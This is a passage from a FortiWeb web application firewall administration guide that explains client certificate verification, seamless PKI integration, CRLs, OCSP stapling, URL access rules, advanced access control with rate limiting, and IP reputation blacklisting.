If the connection fails when you have selected a certificate verifier, verify that the certificate meets the web browser's requirements. Web browsers may have their own certificate validation requirements in addition to FortiWeb's requirements. For example, personal certificates for client authentication may be required to either:

- Not be restricted in usage/purpose by the CA.
- Contain a `Key Usage` field that contains a `Digital Signature` or have a `ExtendedKeyUsage` or `EnhancedKeyUsage` field whose value contains `Client Authentication`.

If the certificate does **not** satisfy browser requirements, although it may be installed in the client's store, when the FortiWeb appliance requests the client's certificate, the browser may not present a certificate selection dialog to the user, or the dialog may not contain that certificate. In that case, verification will fail.

For browser requirements, see your web browser's documentation.

When a PKI authentication attempt fails, if you have enabled logging, attack log messages will be recorded. Messages vary by the cause of the error. Common messages are:

X509 Error 20 - Issuer certificate could not be found. FortiWeb does not have the certificate of the CA that signed the personal certificate, and therefore cannot verify the personal certificate. For details, see ["Uploading trusted CA certificates"](#) on page 437.

X509 Error 52 - Get client certificate failed. The client did not present its personal certificate to FortiWeb, which could be caused by the client not having its personal certificate properly installed. For details, see ["How to apply PKI client authentication \(personal certificates\)"](#) on page 454.

X509 Error 53 - Protocol error. Various causes, but could be due to the client and FortiWeb having no mutually understood cipher suite or protocol version during the SSL/TLS handshake.

See also

- ["How to apply PKI client authentication \(personal certificates\)"](#) on page 454
- ["Configuring a server policy"](#) on page 277
- ["How to offload or inspect HTTPS"](#) on page 439
- ["Uploading trusted CA certificates"](#) on page 437
- ["Revoking certificates"](#) on page 471

Use URLs to determine whether a client is required to present a certificate

You can use Certificate Verification in a server policy (Reverse Proxy mode) or server pool configuration (True Transparent Proxy) to require clients to present a personal certificate. When you select a value for this setting, all clients are required to present a personal certificate.

Alternatively, you can configure the URL-based client certificate feature in a server policy or server pool, which allows you to require a certificate for some requests and not for others. Whether a client is required to present a personal certificate or not is based on the requested URL and the rules you specify in the URL-based client certificate group.

A URL-based client certificate group specifies the URLs to match and whether the matched request is required to present a certificate or exempt from presenting a certificate.

When the URL-based client certificate feature is enabled, clients are not required to present a certificate if the request URL is specified as exempt in the URL-based client certificate group rule or URL of the request does not match a rule.

To configure a certificate validation rule

1. Go to **System > Certificates > URL Certificate**.

To access this part of the web UI, your administrator's account access profile must have **Read and Write** permission to items in the **Admin Users** category. For details, see ["Permissions"](#) on page 85.

2. Click **Create New**.
3. For **Name**, enter a name that can be referenced in other parts of the configuration.
4. Click **OK**.
5. Click **Create New**.
6. Complete these settings:

URL	Specify the URL to match. When the URL of a client request matches this value and Match (page 467) is selected, FortiWeb requires the client to present a private certificate.
Match	Specifies whether client requests with the URL specified by Use URLs to determine whether a client is required to present a certificate (page 466) are required to present a personal certificate. If this option is not selected, client requests with the URL specified by Use URLs to determine whether a client is required to present a certificate (page 466) are not required to present a personal certificate.

7. Repeat the URL certificate member creation steps for any other URLs you require.
8. Click **OK** to close the URL certificate configuration.
9. To apply URL-based client certificate group, select it in a server policy or server pool configuration that includes an HTTPS service or SSL. For details, see ["Configuring a server policy"](#) on page 277 or ["Creating a server pool"](#) on page 397.

Seamless PKI integration

Seamless PKI integration allows you to configure FortiWeb to verify client certificates and resign a new certificate that is sent to the server for client requests. You can configure a PKI environment in FortiWeb without changing the network or application.

This feature is used for servers that authenticate users' priorities according to each user's client certificate. When seamless PKI integration is configured, FortiWeb attempts to verify client certificates when users make requests. If FortiWeb successfully verifies the client certificate, it uses the client certificate's subject name and extensions to create a client certificate proxy and resign a new certificate that it then uses to connect to the server. If FortiWeb cannot successfully verify the client certificate, the connection will be closed and an attack log will be generated.

Seamless PKI integration is available when FortiWeb is in Reverse Proxy and True Transparent Proxy mode.



For the client certificate proxy process to work, **Certificate Verification** or **Enable Server name Indication (SNI)** needs to be configured in a server policy. For details, see ["Configuring a server policy"](#) on page 277.

When **Client Certificate Proxy** is enabled in a server pool rule, if a **Client Certificate** has also been selected, the **Client Certificate** will not be used and the **Client Certificate Proxy** will take effect instead.

To configure seamless PKI integration in Reverse Proxy Mode

1. Go to **System > Certificates > Sign CA**.

To access this part of the web UI, your administrator account's access profile must have **Read** and **Write** permission to items in the **System Configuration** category. For details, see ["Permissions"](#) on page 85.

2. For **Type**, select one of the following:

PKCS12 Certificate	Upload a Certificate with key file and enter the Password
Certificate	Upload a Certificate File, Key File , and enter the Password .

3. Click **OK**.

4. Go to **Server Objects > Server > Server Pool**.

To access this part of the web UI, your administrator account's access profile must have **Read** and **Write** permission to items in the **Server Policy Configuration** category. For details, see ["Permissions"](#) on page 85.

5. Modify an existing server pool or create a new one.

To modify an existing server pool, select it and click **Edit**.

To create a new server pool, click **Create New**.

6. Enter a **Name** for the server pool. You will use this name to select the pool in other parts of the configuration. The maximum length is 63 characters.

7. Select **Reverse Proxy** for the **Type**.

8. If you select **Server Balance** for **Single Server/Server Balance**, see [Step 4](#) on page 398 for configuration instructions.

9. Click **OK**.

10. Modify an existing server pool rule or create a one new.

To modify an existing server pool rule, select it and click **Edit**.

Note: You will have to enable **SSL** if it is not already configured.

To create a new server pool rule, click **Create New**.

11. Enable **SSL**.

12. Enable **Client Certificate Proxy**.

13. For **Client Certificate Proxy Sign CA**, select the Sign CA you uploaded in [Step 2](#) on page 468.

14. When you are finished configuring the rule, click **OK**.

15. Go to **Policy > Server Policy**.

To access this part of the web UI, your administrator account's access profile must have **Read** and **Write** permission to items in the **Server Policy Configuration** category. For details, see "[Permissions](#)" on page 85.

16. Modify an existing server policy or create a new one.

To modify an existing server policy, select it and click **Edit**.

Note: You will have to select a value for the **HTTPS Service** if it is not already configured.

To create a new server policy, click **Create New**.

17. Configure either:

Certificate Verification	Select the name of a certificate verifier that FortiWeb will use to validate an HTTP client's personal certificate.
Enable Server Name Indication (SNI)	Enable this option and configure these settings: • Enable Strict SNI—Optionally, enable so that FortiWeb will ignore the Certificate when it determines which certificate to present on behalf of server pool members. • SNI Policy—Select the Server Name Indication (SNI) configuration that determines which certificate FortiWeb presents on behalf of the members of the server pool.

Note: You cannot enable both **Certificate Verification** and **Enable Server Name Indication (SNI)**.

18. For **Server Pool**, select the server pool that you modified or created in [Step 10](#) on page 468.

19. Click **OK**.

To configure seamless PKI integration in True Transparent Proxy mode

1. Go to **System > Certificates > Sign CA**.

To access this part of the web UI, your administrator account's access profile must have **Read** and **Write** permission to items in the **System Configuration** category. For details, see "[Permissions](#)" on page 85.

2. For **Type**, select either:

PKCS12 Certificate	Upload a Certificate with key file and enter the Password
Certificate	Upload a Certificate File, Key File , and enter the Password .

3. Click **OK**.

4. Go to **Server Objects > Server > Server Pool**.

To access this part of the web UI, your administrator account's access profile must have **Read** and **Write** permission to items in the **Server Policy Configuration** category. For details, see "[Permissions](#)" on page 85.

5. Modify an existing server pool or create a new one.

To modify an existing server pool, select it and click **Edit**.

To create a new server pool, click **Create New**.

6. Enter a **Name** for the server pool. You will use this name to select the pool in other parts of the configuration. The maximum length is 63 characters.

7. Select **True Transparent Proxy** for the **Type**.

8. Click **OK**.

9. Modify an existing server pool rule or create a one new.

To modify an existing server pool rule, select it and click **Edit**.

Note: You will have to enable **SSL** if it is not already configured.

To create a new server pool rule, click **Create New**.

10. Enable **SSL**.

11. Click **Show advanced SSL settings**.

12. Enable **Client Certificate Proxy**.

13. For **Client Certificate Proxy Sign CA**, select the Sign CA you uploaded in [Step 2](#) on page 469.

14. Configure either:

Certificate Verification	Select the name of a certificate verifier that FortiWeb will use to validate an HTTP client's personal certificate.
Enable Server Name Indication (SNI)	Enable this option and configure these settings: • Enable Strict SNI—Optionally, enable so that FortiWeb will ignore the Certificate when it determines which certificate to present on behalf of server pool members. • SNI Policy—Select the Server Name Indication (SNI) configuration that determines which certificate FortiWeb presents on behalf of the members of the server pool.

Note: You cannot enable both **Certificate Verification** and **Enable Server Name Indication (SNI)**.

15. Go to **Policy > Server Policy**.

To access this part of the web UI, your administrator account's access profile must have **Read** and **Write** permission to items in the **Server Policy Configuration** category. For details, see ["Permissions"](#) on page 85.

16. Modify an existing server policy or create a new one.

To modify an existing server policy, select it and click **Edit**.

To create a new server policy, click **Create New**.

17. For **Server Pool**, select the server pool that you modified or created in [Step 9](#) on page 470.

18. Click **OK**.

See also

- ["Configuring a server policy"](#) on page 277
- ["Defining your web servers"](#) on page 390

Revoking certificates

To ensure that FortiWeb validates only certificates that have not been revoked, you should periodically upload current certificate revocation lists (CRL) that may be provided by certificate authorities (CA). Once you've uploaded the CRL(s) you want to use, create CRL groups to include in your FortiWeb configuration.

To view or upload a CRL file

1. Go to **System > Certificates > CRL** and select the **CRL** tab.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Admin Users** category. For details, see ["Permissions"](#) on page 85.

2. Click **Import**.

3. Do one of the following to import a CRL file:

- Select **HTTP**, then enter the URL of an HTTP site providing a CRL service.
- Select **SCEP**, then enter the URL of the applicable Simple Certificate Enrollment Protocol (SCEP) server. SCEP allows routers and other intermediate network devices to obtain certificates.
- Select **Local PC**, then browse to locate a certificate file.

Note: The maximum size for a CRL file is 4 MB.

4. Click **OK**.

The imported CRL file appears on **System > Certificates > CRL** with a name automatically assigned by the FortiWeb appliance, such as **CRL_1**.

5. To use the CRL for client PKI authentication, add the CRL to a CRL group and select that group in a certificate verification rule. For details, see ["Configuring FortiWeb to validate client certificates"](#) on page 464.

To create a CRL group

1. Go to **System > Certificates > CRL** and select the **CRL Group** tab.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Admin Users** category. For details, see ["Permissions"](#) on page 85.

2. Click **Create New**. You will use this name to select the CRL group in other parts of the configuration. The maximum length is 63 characters.
3. Click **OK**.
4. Click **Create New** to add a CRL to the group.
5. Select a CRL from the drop-down menu to include in the group.
6. Click **OK**.
7. Repeat the above steps to include additional CRLs in the group.

8. To use the CRL group for client PKI authentication, select the CRL group in a certificate verification rule. For details, see ["Configuring FortiWeb to validate client certificates"](#) on page 464.

How to export/back up certificates & private keys

Because FortiWeb requires your X.509 certificates to protect HTTPS transactions, when you back up your FortiWeb configuration, make sure that you select a backup type that includes the certificates. If the FortiWeb hardware fails, having backed-up certificates minimizes the time required to reconfigure a replacement appliance.



To further guarantee service uptime from the perspective of your clients, deploy your FortiWeb in HA. For details, see ["Configuring a high availability \(HA\) FortiWeb cluster"](#) on page 137.

For information on the different backup methods and the backup options that include certificates, see ["Backups"](#) on page 324.

How to change FortiWeb's default certificate

The FortiWeb appliance presents its own [HTTPS Server Certificate](#) (page 89) for secure connections (HTTPS) to the web UI. By default, A Fortinet factory certificate is used as the certificate. For details, see [How to offload or inspect HTTPS](#) (page 439). To replace it with other certificates, here are the steps:

1. Go to **System > Admin > Certificates** and select the **Admin Cert Local** tab.
To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Admin Users** category. For details, see ["Permissions"](#) on page 85.
2. You can click **View Certificate Detail** to view the selected certificate's subject, range of dates within which the certificate is valid, version number, serial number, and extensions.
3. You can click **Edit Comments** to make a comment to the selected certificate.
4. To upload a certificate to replace the Fortinet factory default certificate, click **Import** and configure these settings:

Type	Select type of the certificate you are uploading, PKCS12 Certificate or Certificate .
Certificate with key file	Select the certificate with key file from your local computer, if Type is specified as PKCS12 Certificate .
Certificate file	Select the certificate file from your local computer, if Type is specified as Certificate
Key file	Select the key file from your local computer, if Type is specified as Certificate
Password	Enter password for the certificate.

5. Click **OK**.
6. Go to **System > Admin > Settings**, select the certificate for the **HTTPS Server Certificate** (page 89). For details, see "Global web UI & CLI settings" on page 89.

Configuring OCSP stapling

OCSP stapling is an improved approach to OCSP for verifying the revocation status of certificates. Rather than having the client contact the OCSP server to validate the certificate status each time it makes a request, FortiWeb can be configured to periodically query the OCSP server and cache a time-stamped OCSP response for a set period. The cached response is then included, or "stapled," with the TLS/SSL handshake so that the client can validate the certificate status when it makes a request.

This method of verifying the revocation status of certificates shifts the resource cost in providing OCSP responses from the client to the presenter of a certificate. In addition, because fewer overall queries to the OCSP responder will be made when OCSP stapling is configured, the total resource cost in verifying the revocation status of certificates is also reduced.



OCSP stapling is available in Reverse Proxy, True Transparent Proxy, and WCCP mode.

To configure OCSP stapling

1. Go to **System > Certificates > Remote** and select an existing policy or create a new one.
2. Configure these settings:

Name	Enter a name for the policy. The maximum length is 63 characters.
CA Certificate	Select the CA certificate of the server certificate to be queried. For details, see "Uploading trusted CA certificates" on page 437.
OCSP URL	Specify the URL of the OCSP responder server.
Comments	Optionally, enter a description of the server OCSP stapling. The maximum length is 199 characters.

3. Save the configuration.
4. Depending on FortiWeb's operation mode:

Reverse Proxy	Go to Policy > Server Policy and select an existing policy or create a new one.
True Transparent Proxy	Go to Server Objects > Server > Server Pool and select an existing policy or create a new one.
WCCP	Go to Server Objects > Server > Server Pool and select an existing policy or create a new one.

5. Select the certificate that you want to query for in the **Certificate**(Reverse Proxy mode) or **Certificate File** (True Transparent Proxy and WCCP mode) field.
6. Select **Enable OCSP Stapling**.
7. For **OCSP Stapling Config**, select the corresponding OCSP stapling policy that you want to apply to the certificate. For details, see "[Configuring a server policy](#)" on page 277 (Reverse Proxy mode) or "[Creating a server pool](#)" on page 397 (True Transparent Proxy and WCCP mode).

Access control

You can control clients' access to your web applications and limit the rate of requests. There are multiple ways to do this, depending on whether your goal is to act based upon the URL, the client's source IP, or something more complex.

See also

- ["Sequence of scans"](#) on page 56
- ["Preventing brute force logins"](#) on page 619
- ["Enforcing page order that follows application logic"](#) on page 544
- ["Specifying URLs allowed to initiate sessions"](#) on page 548
- ["Specifying allowed HTTP methods"](#) on page 564

Restricting access to specific URLs

You can configure URL access rules that define which HTTP requests FortiWeb accepts or denies based on their `Host`: name and URL, as well as the origin of the request.

For example, access to administrative panels for your web application should **only** be allowed if the client's source IP address is an administrator's computer on your private management network. Unauthenticated access from unknown locations increases risk of compromise. Best practice dictates that such risk should be minimized.

URL access rules check only the URL path, and do not support query string checks. In addition, they are evaluated **after** some other rules. As a result, permitted access can still be denied if it violates one of the rules that execute prior in the sequence. For details, see ["Sequence of scans"](#) on page 56.



X-header-derived client source IPs do **not** support this feature in this release. For details, see ["Defining your proxies, clients, & X-headers"](#) on page 421. If FortiWeb is deployed behind a load balancer or other web proxy that applies source NAT, this feature does not work.

You can use SNMP traps to notify you when a URL access rule is enforced. For details, see ["SNMP traps & queries"](#) on page 715.

To configure an URL access rule

1. Go to **Web Protection > Access > URL Access** and select the **URL Access Rule** tab.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Web Protection Configuration** category. For details, see ["Permissions"](#) on page 85.

2. Click **Create New**.
3. Configure these settings:

Name	Enter a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 63 characters.
Host Status	Enable to require that the <code>Host :</code> field of the HTTP request match a protected host names entry in order to match the URL access rule. Also configure Host .
Host	Select which protected host names entry (either a web host name or IP address) that the <code>Host :</code> field of the HTTP request must be in to match the URL access rule. This option is available only if Host Status (page 476) is enabled.
Action	Select the action that FortiWeb takes when it detects a violation of the rule. Supported options vary (available options are listed in the description for each specific rule), but may include: • Alert & Deny—Block the request (or reset the connection) and generate an alert email and/or log message. You can customize the web page that FortiWeb returns to the client with the HTTP status code. For details, see "Customizing error and authentication pages (replacement messages)" on page 664. • Pass—Allow the request. Do not generate an alert and/or log message. • Continue—Continue by evaluating any subsequent rules defined in the web protection profile. For details, see "Sequence of scans" on page 56. If the request does not violate any other rules, FortiWeb allows the request. If the single request violates multiple rules, it generates multiple attack log messages. The default value is Alert. Caution: This setting will be ignored if Monitor Mode (page 288) is enabled. Note: Logging and/or alert email will occur only if enabled and configured. For details, see "Logging" on page 690 and "Alert email" on page 712. Note: If you will use this rule set with auto-learning, you should select Pass or Continue. If Action (page 476) is Alert & Deny, or any other option that causes the FortiWeb appliance to terminate or modify the request or reply when it detects an attack attempt, the interruption will cause incomplete session information for auto-learning.
Severity	When rule violations are recorded in the attack log, each log message contains a Severity Level (<code>severity_level</code>) field. Select which severity level the FortiWeb appliance will use when it logs a violation of the rule:

	• Low • Medium • High The default value is High.
Trigger Action	Select which trigger, if any, that the FortiWeb appliance will use when it logs and/or sends an alert email about a violation of the rule. For details, see "Viewing log messages" on page 706.

4. Click **OK**.
5. Click **Create New** to add a new URL access condition entry to the set.
6. Configure these settings:

ID	Type the index number of the individual rule within the URL access rule, or keep the field's default value of auto to let the FortiWeb appliance automatically assign the next available index number.
Source Address	Enable to add the client's source IP address as a criteria for matching the URL access rule. Also configure Source Address Type (page 477) and Source Domain (page 478).
Source Address Type	Select how FortiWeb determines matching client source IPs: • IPv4/IPv6 / IP Range—A single IP address or an address range. Also configure IPv4/IPv6 / IP Range (page 477). • IP Resolved by Specified Domain—FortiWeb determines the source IP to match by performing a DNS lookup for the specified domain. Also configure Type (page 477) and IP Resolved by Specified Domain (page 478). • Source Domain—To determine a match, FortiWeb performs a reverse DNS lookup for the client source IP to determine its corresponding domain, and then compares the domain to the value of Source Domain (page 478). Also configure Source Domain Type (page 478) and Source Domain (page 478).
IPv4/IPv6 / IP Range	Enter one of the following values: • A single IP address that a client source IP must match, such as a trusted private network IP address (e.g. an administrator's computer, 192.0.2.109). • A range of addresses (e.g., 192.0.2.1–192.0.2.255 or 10:200::10:1–10:200:10:100). Available only if Source Address Type (page 477) is IPv4/IPv6 / IP Range.
Type	Select the type of IP address FortiWeb retrieves from the DNS lookup of the domain specified by IP Resolved by Specified Domain (page 478).

	Available only if Source Address Type (page 477) is IP Resolved by Specified Domain .
IP Resolved by Specified Domain	Enter the domain to match the client source IP after DNS lookup. Available only if Source Address Type (page 477) is IP Resolved by Specified Domain.
Source Domain Type	Specify whether the Source Domain (page 478) field contains a literal domain (Simple String) or a regular expression designed to match multiple URLs (Regular Expression). When you finish typing the regular expression, click the >> (test) icon. This opens the Regular Expression Validator window where you can fine-tune the expression. For details, see "Regular expression syntax" on page 829. Available only if Source Address Type (page 477) is Source Domain.
Source Domain	Specify the domain to match. Depending on the value of Source Domain Type (page 478), enter one of the following: • the literal domain • a regular expression. Available only if Source Address Type is Source Domain.
URL Type	Select whether the URL Pattern field will contain a literal URL (Simple String), or a regular expression designed to match multiple URLs (Regular Expression).
URL Pattern	Depending on your selection in URL Type, enter either: • The literal URL, such as <code>/admin.php</code>. The URL must begin with a slash (/). • A regular expression. For example, if the URL is: <pre>/send/index1.html</pre> To match the exact, full URL when the name is between index1.html and index9.html: <pre>^\send\index[0-9]\.html</pre> To match the root path regardless: <pre>^\send\/*</pre> The pattern does not require a slash (/). However, it must at least match URLs that begin with a slash, such as <code>/admin.cfm</code>.

When you finish typing the regular expression, click the **>>** (test) icon. This opens the **Regular Expression Validator** window where you can fine-tune the expression. For details, see ["Regular expression syntax"](#) on page 829.

Do not include the domain name, such as `www.example.com`, which is configured separately in the **Host** drop-down list for the URL access rule.

Meet this condition if:

Select whether the access condition is met when the HTTP request matches both the regular expression (or text string) **and** source IP address of the client, or when it does **not** match the regular expression (or text string) and/or source IP address of the client.

7. Click **OK**.
8. Repeat the previous steps for each individual condition that you want to add to the URL access rule.
9. Go to **Web Protection > Access > URL Access**.
To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Web Protection Configuration** category. For details, see ["Permissions"](#) on page 85.
10. Click **Create New**.
11. In **Name**, type a unique name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 63 characters.
12. Click **OK**.
13. Click **Create New** to add an entry to the set.
14. From the **Access Rule Name** drop-down list, select the name of a URL access rule to include in the policy.
To view or change the information associated with the rule, select the **Detail** link. The **URL Access Rule** dialog appears. Use the browser **Back** button to return.
15. Click **OK**.
16. Repeat the previous steps for each individual rule that you want to add to the URL access policy.
Rules at the top of the list have priority over rules further down. Use **Move** to change the order of the rules. The **ID** value does not affect rule priority.
17. To apply the URL access policy, select it in an inline or Offline Protection profile. For details, see ["Configuring a protection profile for inline topologies"](#) on page 261 or ["Configuring a protection profile for an out-of-band topology or asynchronous mode of operation"](#) on page 270.
Attack log messages contain `URL Access Violation` when this feature detects a suspicious HTTP request.

See also

- ["Configuring a protection profile for inline topologies"](#) on page 261
- ["Configuring a protection profile for an out-of-band topology or asynchronous mode of operation"](#) on page 270
- ["IPv6 support"](#) on page 60

Combination access control & rate limiting

What if you want to allow a web crawler, but only if it is not too demanding, and comes from a source IP that is known to be legitimate for that crawler? What if you want to allow only a client that is a senior manager's IP, and only if it hasn't been infected by malware whose access rate is contributing to a DoS?

Advanced access control rules provide a degree of flexibility for these types of complex conditions. You can combine any or all of these criteria:

- Source IP
- User
- Rate limit (including rate limiting for specific types of content)
- HTTP header or response code
- URL
- Predefined or custom attack or data leak signature violation
- Transaction or packet interval timeout
- Real browser enforcement
- CAPTCHA enforcement

You use the rule's filters to specify all criteria that you require allowed traffic to match.

The filters apply to request traffic only, with the following exceptions:

- **HTTP Response Code** and **Content Type** apply to responses.
- **Signature Violation** applies to either requests or responses, depending on which signatures you enable.

FortiWeb includes predefined rules that defend against some popular attacks. You cannot edit these predefined rules, but you can view their settings or create duplicates of them that you can edit (that is, by cloning).



Advanced access control is available even if FortiWeb derives client source IP addresses from the X-header field. For details, see "[Defining your proxies, clients, & X-headers](#)" on page 421.

To configure an advanced access control rule

1. Go to **Web Protection > Advanced Protection > Custom Policy**, and select the **Custom Rule** tab.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Web Protection Configuration** category. For details, see "[Permissions](#)" on page 85.

2. Do one of the following:
 - To create a new rule, click **Create New**.
 - To create a new rule based on a predefined rule, select the predefined rule to use, and then click **Clone**.
3. If you are cloning a predefined rule, enter a name for your new rule, and then click **OK**. To edit or review the rule settings, select the rule, and then click **Edit**.
4. Configure these settings:

Name	Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 63 characters.
Action	Select which action the FortiWeb appliance will take when it detects a violation of the rule: • Alert—Accept the request and generate an alert email and/or log message. • Alert & Deny—Block the request (or reset the connection) and generate an alert email and/or log message. You can customize the web page that FortiWeb returns to the client with the HTTP status code. For details, see "Customizing error and authentication pages (replacement messages)" on page 664. • Period Block—Block subsequent requests from the client for a number of seconds. Also configure Block Period (page 481). You can customize the web page that FortiWeb returns to the client with the HTTP status code. For details, see "Customizing error and authentication pages (replacement messages)" on page 664. The default value is Alert. Caution: This setting is ignored when Monitor Mode (page 288) is enabled. Note: Logging and/or alert email will occur only if enabled and configured. For details, see "Logging" on page 690 and "Alert email" on page 712.
Block Period	Type the number of seconds that you want to block subsequent requests from the client after the FortiWeb appliance detects that the client has violated the rule. This setting is available only if Action (page 481) is set to Period Block. The valid range is from 1 to 3,600 (1 hour). The default value is 60. For details, see "Monitoring currently blocked IPs" on page 735.
Severity	When rule violations are recorded in the attack log, each log message contains a Severity Level (<code>severity_level</code>) field. Select which severity level the FortiWeb appliance will use when it logs a violation of the rule: • Low • Medium • High The default value is Medium.
Trigger Action	Select which trigger, if any, that the FortiWeb appliance will use when it logs and/or sends an alert email about a violation of the rule. For details, see "Viewing log messages" on page 706.

Bot Recognition

You can select between:

- **Real Browser Enforcement**—Specifies whether FortiWeb returns a JavaScript to the client to test whether it is a web browser or automated tool when it meets any of the specified conditions. If the client fails the test or does not return results before the **Validation Timeout** (page 482) expires, FortiWeb applies the **Action** (page 481). If the client appears to be a web browser, FortiWeb allows the client to exceed the action. For details, see "[Bot analysis](#)" on page 735.
- **CAPTCHA Enforcement**—Requires the client to successfully fulfill a CAPTCHA request. If the client cannot successfully fulfill the request within the **Max Attempt Times** (page 482) or doesn't fulfill the request within the **Validation Timeout** (page 482), FortiWeb applies the **Action** (page 481) and sends the CAPTCHA block page. For details, see "[Customizing error and authentication pages \(replacement messages\)](#)" on page 664.

Max Attempt Times

If **CAPTCHA Enforcement** is selected for **Bot Recognition** (page 482), enter the maximum number of attempts that a client may attempt to fulfill a CAPTCHA request. The default value is 3. The valid range is 1–5.

Validation Timeout

Enter the maximum amount of time (in seconds) that FortiWeb waits for results from the client for **Bot Recognition** (page 482). The default value is 20. The valid range is 5–30.

5. Click **OK**.
6. Click **Create New** to add an entry to the set.
7. From **Filter Type**, select one of the following conditions that a request must match in order to be allowed, then click **OK**.

The **Filter Type** value determines which settings are displayed in the next dialog box.

- **Source IPv4/IPv6**—Type the IP address of a client that is allowed. Depending on your configuration of how FortiWeb derives the client's IP, this may be the IP address that is indicated in an HTTP header rather than the IP header. For details, see "[Defining your proxies, clients, & X-headers](#)" on page 421.

To enter an address range, enter the first and last address in the range separated by a hyphen. For example, for an IPv4 address, enter 192.0.2.1 – 192.0.2.155. For an IPv6 address, enter 2001::1–2001::100.

- **User**—Enter a user name to match, and then specify whether the condition matches if the request contains the specified user name or matches only for user names other than the specified one.

Note: This type of filter requires you to select a user tracking policy in any protection profile that uses this advanced access policy. For details, see "[Tracking users](#)" on page 382.

- **URL**—Type a regular expression that matches one or more URLs, such as `/index\..jsp`. Do not include the host name.



To accept requests that do **not** match the URL, do **not** precede the URL with an exclamation mark (!). Use the CLI to configure the `reverse-match {no | yes}` setting for this filter. For details, see the FortiWeb CLI Reference:

<http://docs.fortinet.com/fortiweb/reference>

- **HTTP Header**—Indicate a single HTTP **Header Name** such as `Host :`, and all **or** part of its value in **Header Value**. The request matches the condition if that header **contains** your exact value or matches your regular expression (depending on whether you have selected **Simple String** or **Regular Expression**). Value matching is **case sensitive**.

If you select **Header Value Reverse Match**, the request matches the condition if the header **does not** contain the exact value or regular expression.



To prevent accidental matches, specify as much of the header's value as possible. Do not use an ambiguous substring.

For example, entering the value `192.0.2.1` would **also** match the IPs `192.0.2.10-19` and `192.0.2.100-199`. This result is probably unintended. The better solution would be to configure either:

- a regular expression such as `^192.0.2.1$` or
- a source IP condition instead of an HTTP header condition

- **Access Rate Limit**—This is the number of requests per second per client IP. Depending on your configuration of how FortiWeb will derive the client's IP, this may be the IP address that is indicated in an HTTP header rather than the IP header. For details, see "[Defining your proxies, clients, & X-headers](#)" on page 421.

You can add only one **Access Rate Limit** filter to each rule.

- **Signature Violation**—Matches if FortiWeb detects a selected category of attack signature in the request or response. The following categories are available:
 - Cross Site Scripting
 - Cross Site Scripting (Extended)
 - SQL Injection
 - SQL Injection (Extended)
 - SQL Injection (Syntax Based Detection)
 - Generic Attacks
 - Generic Attacks (Extended)
 - Known Exploits
 - Custom Signature (group or individual rule)

To use one of these categories in an advanced access control rule, enable the corresponding item in your signatures configuration. For details, see "[Blocking known attacks & data leaks](#)" on page 505.

- **Transaction Timeout**—Matches if the lifetime of a HTTP transaction exceeds the transaction timeout you specify. Specify a timeout value of 1 to 3600 seconds.

- **HTTP Response Code**—Matches if a HTTP response code matches a code or range of codes that you specify. For example, 404 or 500–503. To specify more than one response code or range, create additional **HTTP Response Code** filters.
- **Content Type**—Matches an HTTP response for a file that matches one of the specified types. Use with **Occurrence** to detect and control web scraping (content scraping) activity. For an example using auto-learning data, see ["Most hit IP table and web scraping detection"](#) on page 239.
- **Packet Interval Timeout**—Matches if the time period between packets arriving from either the client or server (request or response packets) exceeds the value in seconds you specify for **Packet Timeout Interval**. Enter a value from 1 to 60.
- **Occurrence**—Matches if a transaction matches other filter types in the current rule at a rate that exceeds a threshold you specify.
 - To measure the rate by counting source client IP address, for **Traced By**, select **Source IP**.
 - To measure by client, select **User**.

Note: The **User** option requires you to enable the [Session Management](#) option in your protection profile. For details, see ["Configuring a protection profile for inline topologies"](#) on page 261.

8. Click **OK** to exit the sub-dialog and return to the rule configuration.

9. Repeat the previous steps for each individual criteria that you want to add to the access rule.

For example, you can require both a matching request URL, HTTP header, and client source IP in order to allow a request.

You can add only one **Access Rate Limit** filter to each rule.

10. Click **OK** to save the rule.

11. Go to **Web Protection > Advanced Protection > Custom Policy**, and select the **Custom Policy** tab.

12. Click **Create New**. Group the advanced access rules into a policy.

For example, to create a policy that allows rate-limited access by 3 client IPs, you would group the corresponding 3 advanced access rules for each of those IPs into the policy.

In **Priority**, enter the priority for each rule in relation to other defined rules. Rules with lower numbers (higher priority) are applied first.

13. To apply the advanced access policy, select it as the **Custom Policy** (page 265) in a protection profile. For details, see ["Configuring a protection profile for inline topologies"](#) on page 261 or ["Configuring a protection profile for an out-of-band topology or asynchronous mode of operation"](#) on page 270.

Attack log messages contain `Custom Access Violation` when this feature detects an unauthorized access attempt.

See also

- ["IPv6 support"](#) on page 60

Blacklisting & whitelisting clients

You can block requests from clients based upon their source IP address directly, their current reputation known to FortiGuard, or which country or region the IP address is associated with.

Conversely, you can also exempt clients from scans typically included by the policy.

Blacklisting source IPs with poor reputation

Manually identifying and blocking all known attackers in the world would be an impossible task. To block:

- botnets
- spammers
- phishers
- malicious spiders/crawlers
- virus-infected clients
- clients using anonymizing proxies
- DDoS participants

you can configure FortiWeb to use the FortiGuard IP Reputation. IP reputation leverages many techniques for accurate, early, and frequently updated identification of compromised and malicious clients so you can block attackers **before** they target your servers. Data about dangerous clients derives from many sources around the globe, including:

- FortiGuard service statistics
- honeypots
- botnet forensic analysis
- anonymizing proxies
- 3rd party sources in the security community

From these sources, Fortinet compiles a reputation for each public IP address. Clients will have poor reputations if they have been participating in attacks, willingly or otherwise. Because blacklisting innocent clients is equally undesirable, Fortinet also restores the reputations of clients that improve their behavior. This is crucial when an infected computer is cleaned, or in DHCP or PPPoE pools where an innocent client receives an IP address that was previously leased by an attacker.



Because IP reputation data is based on evidence of hostility rather than a client's current physical location on the globe, if your goal is to block attackers rather than restrict delivery, this feature may be preferable.

The IP Reputation feature can block or log clients based on X-header-derived client source IPs. For details, see "[Defining your proxies, clients, & X-headers](#)" on page 421.

IP reputation knowledge is regularly updated if you have subscribed and connected your FortiWeb to the FortiGuard IP Reputation service. Due to this, new options appear periodically. You can monitor the FortiGuard website feed (<http://fortiguard.com/rss/fg.xml>) for security advisories which may correlate with new IP reputation-related options. For details, see "[Connecting to FortiGuard services](#)" on page 187.



